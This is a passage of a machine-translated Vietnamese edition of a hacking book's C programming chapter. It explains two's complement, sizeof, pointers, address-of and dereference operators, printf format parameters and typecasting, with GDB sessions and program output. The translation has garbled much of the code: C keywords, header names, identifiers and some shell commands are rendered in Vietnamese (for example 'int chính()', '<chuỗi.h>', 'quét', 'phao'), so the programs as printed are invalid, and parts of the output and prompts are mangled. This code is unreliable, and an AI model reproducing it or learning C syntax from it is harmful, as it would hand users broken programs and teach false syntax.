2.147.483.648 đến 2.147.483.647. Về cơ bản, một trong các bit là cờ
đánh dấu giá trị dương hoặc âm. Các giá trị có dấu dương trông giống như các giá trị không
dấu, nhưng các số âm được lưu trữ khác nhau bằng cách sử dụng một phương pháp gọi là bù
hai. Bổ sung hai biểu diễn các số âm ở dạng phù hợp với bộ cộng nhị phân—khi một giá
trị âm trong bổ sung hai được cộng với một số dương có cùng độ lớn, kết quả sẽ là 0. Điều
này được thực hiện bằng cách đầu tiên viết số dương ở dạng nhị phân, sau đó đảo ngược tất
cả các bit và cuối cùng là cộng 1. Nghe có vẻ lạ, nhưng nó hoạt động và cho phép các số âm
được cộng kết hợp với các số dương bằng cách sử dụng các bộ cộng nhị phân đơn giản.
Có thể khám phá điều này nhanh chóng ở quy mô nhỏ hơn bằng cách sử dụng pcalc,
một máy tính lập trình đơn giản hiển thị kết quả ở định dạng thập phân, thập lục phân và
nhị phân. Để đơn giản, các số 8 bit được sử dụng trong ví dụ này.
người đọc@hacking:~/booksrc $ pcalc 0y01001001
0x49
73 0y1001001
người đọc@hacking:~/booksrc $ pcalc 0y10110110 + 1
183 0xb7 0y10110111
người đọc@hacking:~/booksrc $ pcalc 0y01001001 + 0y10110111
0x100 0y100000000
256
người đọc@hacking:~/booksrc $
Đầu tiên, giá trị nhị phân 01001001 được hiển thị là dương 73. Sau đó, tất cả các
bit được đảo ngược và 1 được thêm vào để tạo thành biểu diễn bù hai cho số âm 73, 10110111.
Khi hai giá trị này được cộng lại với nhau, kết quả của 8 bit ban đầu là 0. Chương trình
pcalc hiển thị giá trị 256 vì nó không biết rằng chúng ta chỉ xử lý các giá trị 8 bit.
Trong bộ cộng nhị phân, bit nhớ đó sẽ bị loại bỏ vì phần cuối của bộ nhớ biến sẽ được
đạt đến. Ví dụ này có thể làm sáng tỏ cách bù hai hoạt động kỳ diệu của nó.
Trong C, các biến có thể được khai báo là unsigned chỉ bằng cách thêm từ khóa
unsigned vào khai báo. Một số nguyên unsigned sẽ được khai báo bằng unsigned int. Ngoài
ra, kích thước của các biến số có thể được mở rộng hoặc rút ngắn bằng cách thêm các từ
khóa long hoặc short. Kích thước thực tế sẽ thay đổi tùy thuộc vào kiến trúc mà mã được
biên dịch. Ngôn ngữ C cung cấp một macro có tên là sizeof() có thể xác định kích thước
của một số kiểu dữ liệu nhất định. Điều này hoạt động giống như một hàm lấy một kiểu dữ
liệu làm đầu vào của nó và trả về kích thước của một biến được khai báo với kiểu dữ liệu
đó cho kiến trúc mục tiêu.
Chương trình datatype_sizes.c khám phá kích thước của nhiều kiểu dữ liệu khác nhau bằng
cách sử dụng hàm sizeof() .
Kiểu dữ liệu_kích thước.c
#include <stdio.h>
int chính() {
printf("Kiểu dữ liệu 'int' là\t\t %d byte\n", sizeof(int));
42 0x200
Machine Translated by Google
printf("Kiểu dữ liệu 'unsigned int' là\t %d byte\n", sizeof(unsigned int));
printf("Kiểu dữ liệu 'short int' là\t %d byte\n", sizeof(short int));
printf("Kiểu dữ liệu 'long int' là\t %d byte\n", sizeof(long int));
printf("Kiểu dữ liệu 'long long int' là %d byte\n", sizeof(long long int));
printf("Kiểu dữ liệu 'float' là\t %d byte\n", sizeof(float));
printf("Kiểu dữ liệu 'char' là\t\t %d byte\n", sizeof(char));
}
Đoạn mã này sử dụng hàm printf() theo cách hơi khác một chút.
Nó sử dụng thứ gọi là format specifier để hiển thị giá trị trả về từ các lệnh gọi hàm
sizeof() . Format specifier sẽ được giải thích chi tiết sau, vì vậy bây giờ, chúng ta hãy
chỉ tập trung vào đầu ra của chương trình.
reader@hacking:~/booksrc $ gcc datatype_sizes.c
reader@hacking:~/booksrc $ ./a.out
Kiểu dữ liệu 'int' là 4 byte
Kiểu dữ liệu 'unsigned int' là 4 byte
Kiểu dữ liệu 'short int' là 2 byte
Kiểu dữ liệu 'long int' là 4 byte
Kiểu dữ liệu 'long long int' là 8 byte
Kiểu dữ liệu 'float' là 4 byte
Kiểu dữ liệu 'char' là 1 byte
người đọc@hacking:~/booksrc $
Như đã nêu trước đó, cả số nguyên có dấu và không dấu đều có kích thước bốn byte
trên kiến trúc x86. Một float cũng có bốn byte, trong khi một char chỉ cần một byte duy
nhất. Các từ khóa long và short cũng có thể được sử dụng với số dấu phẩy động
các biến để mở rộng và rút ngắn kích thước của chúng.
Con trỏ 0x263
Thanh ghi EIP là một con trỏ "trỏ" đến lệnh hiện tại trong quá trình thực thi chương
trình bằng cách chứa địa chỉ bộ nhớ của lệnh đó. Ý tưởng về con trỏ cũng được sử dụng
trong C. Vì bộ nhớ vật lý thực sự không thể di chuyển được nên thông tin trong đó phải
được sao chép. Việc sao chép các khối bộ nhớ lớn để sử dụng cho các hàm khác nhau hoặc ở
các vị trí khác nhau có thể rất tốn kém về mặt tính toán. Điều này cũng tốn kém về mặt
bộ nhớ vì không gian cho bản sao đích mới phải được lưu hoặc phân bổ trước khi có thể
sao chép nguồn. Con trỏ là giải pháp cho vấn đề này. Thay vì sao chép một khối bộ nhớ
lớn, việc truyền xung quanh địa chỉ của phần đầu khối bộ nhớ đó đơn giản hơn nhiều.
Con trỏ trong C có thể được định nghĩa và sử dụng như bất kỳ kiểu biến nào khác.
Vì bộ nhớ trên kiến trúc x86 sử dụng địa chỉ 32 bit, nên con trỏ cũng có kích thước 32
bit (4 byte). Con trỏ được định nghĩa bằng cách thêm dấu sao (*) vào trước tên biến. Thay
vì định nghĩa một biến có kiểu đó, con trỏ được định nghĩa là thứ trỏ đến dữ liệu có
kiểu đó. Chương trình pointer.c là một ví dụ về con trỏ được sử dụng với kiểu dữ liệu
char , chỉ có kích thước 1 byte.
Lập trình 43
Machine Translated by Google
con trỏ.c
#include <stdio.h>
#include <chuỗi.h>
int chính() {
char str_a[20]; // Một mảng ký tự gồm 20 phần tử
char *pointer; // Một con trỏ, dùng cho một mảng ký tự
char *pointer2; // Và còn một cái nữa
strcpy(str_a, "Xin chào thế giới!\n");
pointer = str_a; // Đặt con trỏ đầu tiên vào vị trí bắt đầu của mảng.
printf(con trỏ);
pointer2 = pointer + 2; // Đặt con trỏ thứ hai vào trong 2 byte nữa.
printf(pointer2); // In ra.
strcpy(pointer2, "y các bạn!\n"); // Sao chép vào vị trí đó.
printf(con trỏ); // In lại.
}
Như các chú thích trong mã chỉ ra, con trỏ đầu tiên được đặt ở đầu mảng
ký tự. Khi mảng ký tự được tham chiếu như thế này, thì thực ra nó là một con
trỏ. Đây là cách bộ đệm này được truyền như một con trỏ đến các hàm printf()
và strcpy() trước đó. Con trỏ thứ hai được đặt thành địa chỉ của con trỏ
đầu tiên cộng với hai, sau đó một số thứ được in ra (hiển thị trong đầu ra
bên dưới).
reader@hacking:~/booksrc $ gcc -o con trỏ pointer.c
reader@hacking:~/booksrc $ ./pointer Xin
chào thế giới!
Xin chào thế giới!
Xin chào mọi người!
người đọc@hacking:~/booksrc $
Hãy cùng xem xét điều này với GDB. Chương trình được biên dịch lại và một điểm
dừng được đặt ở dòng thứ mười của mã nguồn. Điều này sẽ dừng chương trình sau khi
chuỗi "Hello, world!\n" đã được sao chép vào str_a
bộ đệm và biến con trỏ được đặt ở đầu bộ đệm.
reader@hacking:~/booksrc $ gcc -g -o con trỏ con trỏ.c
người đọc@hacking:~/booksrc $ gdb -q ./pointer
Sử dụng thư viện libthread_db lưu trữ "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) danh sách
1
#include <stdio.h>
2
#include <chuỗi.h>
3
4
int chính() {
char str_a[20]; // Một mảng ký tự gồm 20 phần tử
5 6
44 0x200
char *pointer; // Một con trỏ, dùng cho một mảng ký tự
Machine Translated by Google
char *pointer2; // Và còn một cái nữa
7 8
9
strcpy(str_a, "Xin chào thế giới!\n");
10
pointer = str_a; // Đặt con trỏ đầu tiên vào vị trí bắt đầu của mảng.
(gdb)
11
printf(con trỏ);
12
13
pointer2 = pointer + 2; // Đặt con trỏ thứ hai vào trong 2 byte nữa.
14
printf(pointer2); // In ra.
15
strcpy(pointer2, "y các bạn!\n"); // Sao chép vào vị trí đó.
16
printf(con trỏ); // In lại.
17
}
(gdb) phá vỡ 11
Điểm dừng 1 tại 0x80483dd: tệp pointer.c, dòng 11.
(gdb) chạy
Chương trình khởi động: /home/reader/booksrc/pointer
Điểm dừng 1, main() tại pointer.c:11
11
printf(con trỏ);
(gdb) con trỏ x/xw
0xbffff7e0: 0x6c6c6548
(gdb) con trỏ x/s
0xbffff7e0: "Xin chào thế giới!\n"
(gdb)
Khi con trỏ được xem như một chuỗi, rõ ràng là chuỗi đã cho có ở đó và nằm ở địa chỉ
bộ nhớ 0xbffff7e0. Hãy nhớ rằng bản thân chuỗi không được lưu trữ trong biến con trỏ—chỉ có
địa chỉ bộ nhớ 0xbffff7e0 được lưu trữ ở đó.
Để xem dữ liệu thực tế được lưu trữ trong biến con trỏ, bạn phải sử dụng toán tử
address-of. Toán tử address-of là toán tử đơn, có nghĩa là nó hoạt động trên một đối số
duy nhất. Toán tử này chỉ là một dấu thăng (&) được thêm vào trước tên biến. Khi sử dụng, địa
chỉ của biến đó được trả về, thay vì chính biến đó. Toán tử này tồn tại trong cả GDB và ngôn
ngữ lập trình C.
(gdb) x/xw &con trỏ
0xbffff7dc: 0xbffff7e0
(gdb) in &con trỏ
$1 = (ký tự **) 0xbffff7dc
(gdb) in con trỏ
$2 = 0xbffff7e0 "Xin chào thế giới!\n"
(gdb)
Khi toán tử địa chỉ được sử dụng, biến con trỏ được hiển thị nằm ở địa chỉ 0xbffff7dc trong bộ nhớ
và chứa địa chỉ 0xbffff7e0.
Toán tử address-of thường được sử dụng kết hợp với con trỏ, vì con trỏ chứa địa chỉ bộ
nhớ. Chương trình addressof.c minh họa toán tử address-of được sử dụng để đưa địa chỉ của một
biến số nguyên vào một con trỏ. Dòng này được hiển thị in đậm bên dưới.
Lập trình 45
Machine Translated by Google
địa chỉ của.c
#include <stdio.h>
int chính() {
int int_var = 5;
int *int_ptr;
int_ptr = &int_var; // đưa địa chỉ của int_var vào int_ptr
}
Bản thân chương trình không thực sự đưa ra bất cứ kết quả nào, nhưng bạn có thể
đoán được điều gì xảy ra, thậm chí trước khi gỡ lỗi bằng GDB.
reader@hacking:~/booksrc $ gcc -g addressof.c
reader@hacking:~/booksrc $ gdb -q ./a.out Sử dụng
thư viện libthread_db lưu trữ "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) danh sách
1
#include <stdio.h>
2
3
int chính() {
4
int int_var = 5;
int *int_ptr;
5 6
int_ptr = &int_var; // Đặt địa chỉ của int_var vào int_ptr.
}
7 8
(gdb) phá vỡ 8
Điểm dừng 1 tại 0x8048361: địa chỉ tệp.c, dòng 8.
(gdb) chạy
Chương trình khởi động: /home/reader/booksrc/a.out
Điểm dừng 1, main () tại addressof.c:8
8
}
(gdb) in int_var
1 = 5
(gdb) in &int_var
$2 = (số nguyên *) 0xbffff804
(gdb) in int_ptr
$3 = (số nguyên *) 0xbffff804
(gdb) in &int_ptr
$4 = (số nguyên **) 0xbffff800
(gdb)
Như thường lệ, một điểm dừng được thiết lập và chương trình được thực
thi trong trình gỡ lỗi. Tại thời điểm này, phần lớn chương trình đã được thực
thi. Lệnh in đầu tiên hiển thị giá trị của int_var và lệnh thứ hai hiển thị địa
chỉ của nó bằng toán tử address-of. Hai lệnh in tiếp theo hiển thị rằng int_ptr
chứa địa chỉ của int_var và chúng cũng hiển thị địa chỉ của int_ptr để đảm bảo.
46 0x200
Machine Translated by Google
Một toán tử đơn phân bổ sung được gọi là toán tử dereference tồn tại để sử dụng
với con trỏ. Toán tử này sẽ trả về dữ liệu được tìm thấy trong địa chỉ mà con trỏ trỏ
đến, thay vì chính địa chỉ đó. Nó có dạng dấu sao trước tên biến, tương tự như khai
báo con trỏ.
Một lần nữa, toán tử hủy tham chiếu tồn tại trong cả GDB và C. Khi được sử dụng trong
GDB, nó có thể truy xuất giá trị số nguyên mà int_ptr trỏ tới.
(gdb) in *int_ptr
5 = 5
Một vài bổ sung vào mã addressof.c (hiển thị trong addressof2.c) sẽ chứng minh
tất cả các khái niệm này. Các hàm printf() được thêm vào sử dụng các tham số định
dạng, tôi sẽ giải thích ở phần tiếp theo. Hiện tại, chỉ tập trung vào đầu ra của
chương trình.
địa chỉ của 2.c
#include <stdio.h>
int chính() {
int int_var = 5;
int *int_ptr;
int_ptr = &int_var; // Đặt địa chỉ của int_var vào int_ptr.
printf("int_ptr = 0x%08x\n", int_ptr);
printf("&int_ptr = 0x%08x\n", &int_ptr);
printf("*int_ptr = 0x%08x\n\n", *int_ptr);
printf("int_var nằm ở 0x%08x và chứa %d\n", &int_var, int_var);
printf("int_ptr nằm ở 0x%08x, chứa 0x%08x và trỏ tới %d\n\n",
&int_ptr, int_ptr, *int_ptr);
}
Kết quả của việc biên dịch và thực thi addressof2.c như sau.
reader@hacking:~/booksrc $ gcc addressof2.c
reader@hacking:~/booksrc $ ./a.out
int_ptr = 0xbffff834
&int_ptr = 0xbffff830
*int_ptr = 0x00000005
int_var nằm ở 0xbffff834 và chứa 5
int_ptr nằm ở 0xbffff830, chứa 0xbffff834 và trỏ tới 5
người đọc@hacking:~/booksrc $
Khi các toán tử một ngôi được sử dụng với con trỏ, toán tử địa chỉ có thể được
coi là di chuyển ngược lại, trong khi toán tử tham chiếu di chuyển về phía trước theo
hướng con trỏ đang trỏ.
Lập trình 47
Machine Translated by Google
0x264 Định dạng chuỗi
Hàm printf () có thể được sử dụng để in nhiều hơn là chỉ các chuỗi cố định. Hàm này cũng có
thể sử dụng các chuỗi định dạng để in các biến theo nhiều định dạng khác nhau. Chuỗi định
dạng chỉ là một chuỗi ký tự có các chuỗi thoát đặc biệt cho biết hàm chèn các biến được
in theo một định dạng cụ thể thay cho chuỗi thoát. Theo cách hàm printf() đã được sử dụng
trong các chương trình trước đó, chuỗi "Hello, world!\n" về mặt kỹ thuật là chuỗi định
dạng; tuy nhiên, nó không có các chuỗi thoát đặc biệt. Các chuỗi thoát này cũng được gọi
là tham số định dạng và đối với mỗi chuỗi thoát được tìm thấy trong chuỗi định dạng, hàm dự
kiến sẽ lấy một đối số bổ sung. Mỗi tham số định dạng bắt đầu bằng dấu phần trăm (%) và sử
dụng cách viết tắt một ký tự rất giống với các ký tự định dạng được lệnh kiểm tra của GDB
sử dụng.
Loại đầu ra tham số
%d
Số thập phân
%u
Số thập phân không dấu
%x
Hệ thập lục phân
Tất cả các tham số định dạng trước đó đều nhận dữ liệu của chúng dưới dạng giá trị,
không phải con trỏ đến giá trị. Ngoài ra còn có một số tham số định dạng mong đợi con
trỏ, chẳng hạn như sau.
Loại đầu ra tham số
%S
Sợi dây
%N
Số byte đã ghi cho đến nay
Tham số định dạng %s mong đợi được cung cấp một địa chỉ bộ nhớ; nó in ra
dữ liệu tại địa chỉ bộ nhớ đó cho đến khi gặp một byte null. % n
tham số format là duy nhất ở chỗ nó thực sự ghi dữ liệu. Nó cũng mong đợi được cung cấp một
địa chỉ bộ nhớ và nó ghi số byte đã được ghi cho đến nay vào địa chỉ bộ nhớ đó.
Hiện tại, trọng tâm của chúng tôi chỉ là các tham số định dạng được sử dụng để hiển thị
dữ liệu. Chương trình fmt_strings.c hiển thị một số ví dụ về các tham số định dạng khác
nhau.
fmt_strings.c
#include <stdio.h>
int chính() {
chuỗi ký tự[10];
số nguyên A = -73;
số nguyên không dấu B = 31337;
strcpy(chuỗi, "mẫu");
48 0x200
Machine Translated by Google
// Ví dụ về việc in với chuỗi định dạng khác nhau
printf("[A] Dec: %d, Hex: %x, Không dấu: %u\n", A, A, A);
printf("[B] Dec: %d, Hex: %x, Không dấu: %u\n", B, B, B);
printf("[chiều rộng trường trên B] 3: '%3u', 10: '%10u', '%08u'\n", B, B, B);
printf("[chuỗi] %s Địa chỉ %08x\n", chuỗi, chuỗi);
// Ví dụ về toán tử địa chỉ đơn (hủy tham chiếu) và chuỗi định dạng %x
printf("biến A ở địa chỉ: %08x\n", &A);
}
Trong đoạn mã trước, các đối số biến bổ sung được truyền cho mỗi lệnh gọi printf()
cho mọi tham số định dạng trong chuỗi định dạng. Lệnh printf() cuối cùng
lệnh gọi sử dụng đối số &A, đối số này sẽ cung cấp địa chỉ của biến A.
Việc biên dịch và thực hiện chương trình như sau.
reader@hacking:~/booksrc $ gcc -o fmt_strings fmt_strings.c
reader@hacking:~/booksrc $ ./fmt_strings [A]
Dec: -73, Hex: ffffffb7, Không dấu: 4294967223
[B] Dec: 31337, Hex: 7a69, Không dấu: 31337
'
[chiều rộng trường trên B] 3: '31337', 10: 31337', '00031337'
[chuỗi] mẫu Địa chỉ bffff870
biến A ở địa chỉ: bffff86c
người đọc@hacking:~/booksrc $
Hai lệnh gọi đầu tiên tới printf() minh họa việc in các biến A và B, sử
dụng các tham số định dạng khác nhau. Vì có ba tham số định dạng trong mỗi
dòng, nên các biến A và B cần được cung cấp ba lần cho mỗi biến. Tham số định
dạng %d cho phép các giá trị âm, trong khi %u thì không, vì nó đang mong
đợi các giá trị không dấu.
Khi biến A được in bằng tham số định dạng %u , nó sẽ xuất hiện
như một giá trị rất cao. Điều này là do A là một số âm được lưu trữ trong
phần bù hai và tham số định dạng đang cố gắng in nó như thể nó là một giá trị
không dấu. Vì phần bù hai đảo ngược tất cả các bit và cộng một, các bit rất
cao trước đây là số không giờ là một.
Dòng thứ ba trong ví dụ, được gắn nhãn [field width on B], cho thấy việc
sử dụng tùy chọn field-width trong tham số định dạng. Đây chỉ là một số
nguyên chỉ định chiều rộng trường tối thiểu cho tham số định dạng đó. Tuy
nhiên, đây không phải là chiều rộng trường tối đa—nếu giá trị được xuất ra
lớn hơn chiều rộng trường, chiều rộng trường sẽ bị vượt quá. Điều này xảy ra
khi sử dụng 3, vì dữ liệu đầu ra cần 5 byte. Khi sử dụng 10 làm chiều rộng
trường, 5 byte khoảng trắng được xuất ra trước dữ liệu đầu ra. Ngoài ra, nếu
giá trị chiều rộng trường bắt đầu bằng 0, điều này có nghĩa là trường phải
được đệm bằng số không. Ví dụ, khi sử dụng 08, đầu ra là 00031337.
Dòng thứ tư, được gắn nhãn [string], chỉ đơn giản cho thấy cách sử dụng
tham số định dạng %s . Hãy nhớ rằng biến string thực sự là một con trỏ chứa
địa chỉ của chuỗi, điều này hoạt động rất tuyệt vời, vì tham số định dạng
%s mong đợi dữ liệu của nó được truyền theo tham chiếu.
Lập trình 49
Machine Translated by Google
Dòng cuối cùng chỉ hiển thị địa chỉ của biến A, sử dụng toán tử địa chỉ
đơn để hủy tham chiếu biến. Giá trị này được hiển thị dưới dạng tám chữ số thập
lục phân, được đệm bằng số không.
Như các ví dụ này cho thấy, bạn nên sử dụng %d cho số thập phân, %u cho số
không dấu và %x cho giá trị thập lục phân. Có thể đặt độ rộng trường tối thiểu
bằng cách đặt một số ngay sau dấu phần trăm và nếu độ rộng trường bắt đầu bằng
0, nó sẽ được đệm bằng số không. Tham số %s có thể được sử dụng để in chuỗi và
nên được truyền địa chỉ của chuỗi. Cho đến nay, mọi thứ vẫn ổn.
Chuỗi định dạng được sử dụng bởi toàn bộ họ các hàm I/O chuẩn, bao gồm
scanf(), về cơ bản hoạt động giống như printf() nhưng được sử dụng cho đầu vào
thay vì đầu ra. Một điểm khác biệt chính là hàm scanf() mong đợi tất cả các đối
số của nó là con trỏ, vì vậy các đối số thực sự phải là địa chỉ biến—không phải
bản thân các biến. Điều này có thể được thực hiện bằng cách sử dụng các biến
con trỏ hoặc bằng cách sử dụng toán tử địa chỉ đơn để truy xuất địa chỉ của các
biến thông thường. Chương trình input.c và thực thi sẽ giúp giải thích.
đầu vào.c
#include <stdio.h>
#include <chuỗi.h>
int chính() {
tin nhắn char[10];
int đếm, i;
strcpy(message, "Xin chào thế giới!");
printf("Lặp lại bao nhiêu lần? ");
quét("%d", &đếm);
đối với (i = 0; i < số lượng; i++)
printf("%3d - %s\n", i, tin nhắn);
}
Trong input.c, hàm scanf() được sử dụng để thiết lập biến đếm . Đầu ra
dưới đây minh họa cách sử dụng của nó.
reader@hacking:~/booksrc $ gcc -o input input.c
reader@hacking:~/booksrc $ ./input Lặp lại
bao nhiêu lần? 3
0 - Xin chào thế giới!
1 - Xin chào thế giới!
2 - Xin chào thế giới!
reader@hacking:~/booksrc $ ./input Lặp lại
bao nhiêu lần? 12
0 - Xin chào thế giới!
1 - Xin chào thế giới!
2 - Xin chào thế giới!
3 - Xin chào thế giới!
4 - Xin chào thế giới!
5 - Xin chào thế giới!
6 - Xin chào thế giới!
50 0x200
Machine Translated by Google
7 - Xin chào thế giới!
8 - Xin chào thế giới!
9 - Xin chào thế giới!
10 - Xin chào thế giới!
11 - Xin chào thế giới!
người đọc@hacking:~/booksrc $
Chuỗi định dạng được sử dụng khá thường xuyên nên việc quen thuộc với chúng rất có giá trị.
Ngoài ra, khả năng xuất ra các giá trị của biến cho phép gỡ lỗi trong chương trình mà không cần
sử dụng trình gỡ lỗi. Có một số dạng phản hồi ngay lập tức khá quan trọng đối với quá trình học
của tin tặc và một điều đơn giản như in giá trị của một biến có thể cho phép khai thác rất
nhiều.
0x265 Ép kiểu
Typecasting chỉ đơn giản là một cách để tạm thời thay đổi kiểu dữ liệu của một biến, bất chấp cách nó
được định nghĩa ban đầu. Khi một biến được typecast thành một kiểu khác, trình biên dịch về cơ bản
được yêu cầu xử lý biến đó như thể nó là kiểu dữ liệu mới, nhưng chỉ cho hoạt động đó. Cú pháp cho
typecasting như sau:
biến (typecast_data_type)
Điều này có thể được sử dụng khi xử lý các số nguyên và biến dấu phẩy động, như typecasting.c
minh họa.
ép kiểu.c
#include <stdio.h>
int chính() {
số nguyên a, b;
phao c, d;
một = 13;
b = 5;
c = a / b; // Chia sử dụng số nguyên.
d = (float) a / (float) b; // Chia số nguyên được ép kiểu thành số float.
printf("[số nguyên]\ta = %d\tb = %d\n", a, b);
printf("[số thực]\tc = %f\td = %f\n", c, d);
}
Kết quả của việc biên dịch và thực thi typecasting.c như sau.
reader@hacking:~/booksrc $ gcc typecasting.c
reader@hacking:~/booksrc $ ./a.out
[số nguyên] a = 13 b = 5
[float]
c = 2.000000
d = 2,600000
reader@hacking:~/booksrc $
Lập trình
51
Machine Translated by Google
Như đã thảo luận trước đó, việc chia số nguyên 13 cho 5 sẽ làm tròn xuống thành kết quả không
đúng là 2, ngay cả khi giá trị này được lưu trữ trong một biến dấu phẩy động. Tuy nhiên, nếu các
biến số nguyên này được ép kiểu thành số float, chúng sẽ được xử lý như vậy. Điều này cho phép
tính toán đúng 2.6.
Ví dụ này mang tính minh họa, nhưng nơi mà ép kiểu thực sự tỏa sáng là khi nó được sử dụng
với các biến con trỏ. Mặc dù con trỏ chỉ là một địa chỉ bộ nhớ, trình biên dịch C vẫn yêu cầu một
kiểu dữ liệu cho mọi con trỏ. Một lý do cho điều này là để cố gắng hạn chế lỗi lập trình. Một con
trỏ số nguyên chỉ nên trỏ đến dữ liệu số nguyên, trong khi một con trỏ ký tự chỉ nên trỏ đến dữ
liệu ký tự. Một lý do khác là để tính số học con trỏ. Một số nguyên có kích thước bốn byte, trong
khi một ký tự chỉ chiếm một byte. Chương trình pointer_types.c sẽ chứng minh và giải thích thêm
các khái niệm này. Mã này sử dụng tham số định dạng %p để xuất địa chỉ bộ nhớ. Đây là cách viết
tắt dùng để hiển thị các con trỏ và về cơ bản tương đương với 0x%08x.
con trỏ_kiểu.c
#include <stdio.h>
int chính() {
số nguyên i;
char char_array[5] = {'a', 'b', 'c', 'd', 'e'};
int int_array[5] = {1, 2, 3, 4, 5};
char *char_pointer;
int *int_pointer;
char_pointer = mảng_char;
int_pointer = int_array;
for(i=0; i < 5; i++) { // Lặp qua mảng int bằng int_pointer.
printf("[con trỏ số nguyên] trỏ tới %p, chứa số nguyên %d\n",
con trỏ int, *con trỏ int);
int_pointer = int_pointer + 1;
}
for(i=0; i < 5; i++) { // Lặp qua mảng char bằng char_pointer.
printf("[char pointer] trỏ tới %p, chứa char '%c'\n",
con trỏ_ký_tự, *con trỏ_ký_tự);
con trỏ_ký_tự = con trỏ_ký_tự + 1;
}
}
Trong đoạn mã này, hai mảng được định nghĩa trong bộ nhớ—một mảng chứa dữ liệu số nguyên và
mảng kia chứa dữ liệu ký tự. Hai con trỏ cũng được định nghĩa, một với kiểu dữ liệu số nguyên và
một với kiểu dữ liệu ký tự, và chúng được thiết lập để trỏ đến phần đầu của các mảng dữ liệu tương
ứng. Hai vòng lặp for riêng biệt lặp qua các mảng bằng cách sử dụng số học con trỏ để điều chỉnh
con trỏ trỏ đến giá trị tiếp theo. Trong các vòng lặp, khi các giá trị số nguyên và ký tự
52 0x200
Machine Translated by Google
thực sự được in bằng các tham số định dạng %d và %c , lưu ý rằng các đối số
printf() tương ứng phải hủy tham chiếu đến các biến con trỏ.
Điều này được thực hiện bằng cách sử dụng
*
nhà điều hành và đã được đánh dấu ở trên
đơn vị in đậm.
reader@hacking:~/booksrc $ gcc pointer_types.c
reader@hacking:~/booksrc $ ./a.out
[con trỏ số nguyên] trỏ tới 0xbffff7f0, chứa số nguyên 1
[con trỏ số nguyên] trỏ tới 0xbffff7f4, chứa số nguyên 2
[con trỏ số nguyên] trỏ tới 0xbffff7f8, chứa số nguyên 3
[con trỏ số nguyên] trỏ tới 0xbffff7fc, chứa số nguyên 4
[con trỏ số nguyên] trỏ tới 0xbffff800, chứa số nguyên 5
[char pointer] trỏ tới 0xbffff810, chứa char 'a'
[char pointer] trỏ tới 0xbffff811, chứa ký tự 'b'
[char pointer] trỏ tới 0xbffff812, chứa char 'c'
[char pointer] trỏ đến 0xbffff813, chứa char 'd'
[char pointer] trỏ tới 0xbffff814, chứa char 'e'
người đọc@hacking:~/booksrc $
Mặc dù cùng một giá trị 1 được thêm vào int_pointer và char_pointer
trong các vòng lặp tương ứng của chúng, trình biên dịch tăng địa chỉ của con
trỏ theo các số lượng khác nhau. Vì một char chỉ là 1 byte, con trỏ đến char
tiếp theo cũng sẽ tự nhiên là 1 byte. Nhưng vì một số nguyên là 4 byte, con
trỏ đến số nguyên tiếp theo phải là 4 byte.
Trong pointer_types2.c, các con trỏ được đặt cạnh nhau sao cho int_pointer
trỏ đến dữ liệu ký tự và ngược lại. Những thay đổi chính trong mã được đánh dấu bằng chữ in đậm.
con trỏ_types2.c
#include <stdio.h>
int chính() {
số nguyên i;
char char_array[5] = {'a', 'b', 'c', 'd', 'e'};
int int_array[5] = {1, 2, 3, 4, 5};
char *char_pointer;
int *int_pointer;
char_pointer = int_array; // char_pointer và int_pointer bây giờ
int_pointer = char_array; // trỏ tới các kiểu dữ liệu không tương thích.
for(i=0; i < 5; i++) { // Lặp qua mảng int bằng int_pointer.
printf("[con trỏ số nguyên] trỏ tới %p, chứa ký tự '%c'\n",
con trỏ int, *con trỏ int);
int_pointer = int_pointer + 1;
}
for(i=0; i < 5; i++) { // Lặp qua mảng char bằng char_pointer.
Lập trình 53
Machine Translated by Google
printf("[char pointer] trỏ tới %p, chứa số nguyên %d\n", char_pointer,
*char_pointer);
con trỏ_ký_tự = con trỏ_ký_tự + 1;
}
}
Đầu ra bên dưới hiển thị các cảnh báo được đưa ra từ trình biên dịch.
reader@hacking:~/booksrc $ gcc pointer_types2.c
pointer_types2.c: Trong hàm `main':
pointer_types2.c:12: cảnh báo: gán từ loại con trỏ không tương thích
pointer_types2.c:13: cảnh báo: gán từ loại con trỏ không tương thích
người đọc@hacking:~/booksrc $
Trong nỗ lực ngăn ngừa lỗi lập trình, trình biên dịch đưa ra cảnh báo về các
con trỏ trỏ đến các kiểu dữ liệu không tương thích. Nhưng trình biên dịch và có lẽ
là lập trình viên là những người duy nhất quan tâm đến kiểu của con trỏ. Trong mã
đã biên dịch, con trỏ không gì khác hơn là một địa chỉ bộ nhớ, vì vậy trình biên
dịch vẫn sẽ biên dịch mã nếu con trỏ trỏ đến một kiểu dữ liệu không tương thích—nó
chỉ cảnh báo lập trình viên dự đoán các kết quả không mong muốn.
reader@hacking:~/booksrc $ ./a.out
[con trỏ số nguyên] trỏ tới 0xbffff810, chứa ký tự 'a'
[con trỏ số nguyên] trỏ tới 0xbffff814, chứa ký tự 'e'
[con trỏ số nguyên] trỏ tới 0xbffff818, chứa ký tự '8'
[con trỏ số nguyên] trỏ tới 0xbffff81c, chứa ký tự [con trỏ số
'
nguyên] trỏ tới 0xbffff820, chứa ký tự '?'
[char pointer] trỏ đến 0xbffff7f0, chứa số nguyên 1
[char pointer] trỏ đến 0xbffff7f1, chứa số nguyên 0
[char pointer] trỏ đến 0xbffff7f2, chứa số nguyên 0
[char pointer] trỏ đến 0xbffff7f3, chứa số nguyên 0
[char pointer] trỏ đến 0xbffff7f4, chứa số nguyên 2
người đọc@hacking:~/booksrc $
Mặc dù int_pointer trỏ đến dữ liệu ký tự chỉ chứa 5 byte dữ liệu, nhưng nó vẫn
được gõ là số nguyên. Điều này có nghĩa là thêm 1 vào con trỏ sẽ tăng địa chỉ lên
4 mỗi lần. Tương tự như vậy, địa chỉ của char_pointer chỉ tăng 1 mỗi lần, bước qua
20 byte dữ liệu số nguyên (năm số nguyên 4 byte), từng byte một. Một lần nữa, thứ
tự byte little-endian của dữ liệu số nguyên trở nên rõ ràng khi số nguyên 4 byte
được kiểm tra từng byte một. Giá trị 4 byte của 0x00000001 thực sự được lưu trữ
trong bộ nhớ dưới dạng 0x01, 0x00, 0x00, 0x00.
Sẽ có những tình huống như thế này khi bạn sử dụng một con trỏ trỏ đến dữ liệu
có kiểu dữ liệu xung đột. Vì kiểu dữ liệu con trỏ xác định kích thước của dữ liệu mà
nó trỏ đến, nên điều quan trọng là kiểu dữ liệu phải chính xác. Như bạn có thể thấy
trong pointer_types3.c bên dưới, ép kiểu chỉ là một cách để thay đổi kiểu dữ liệu của
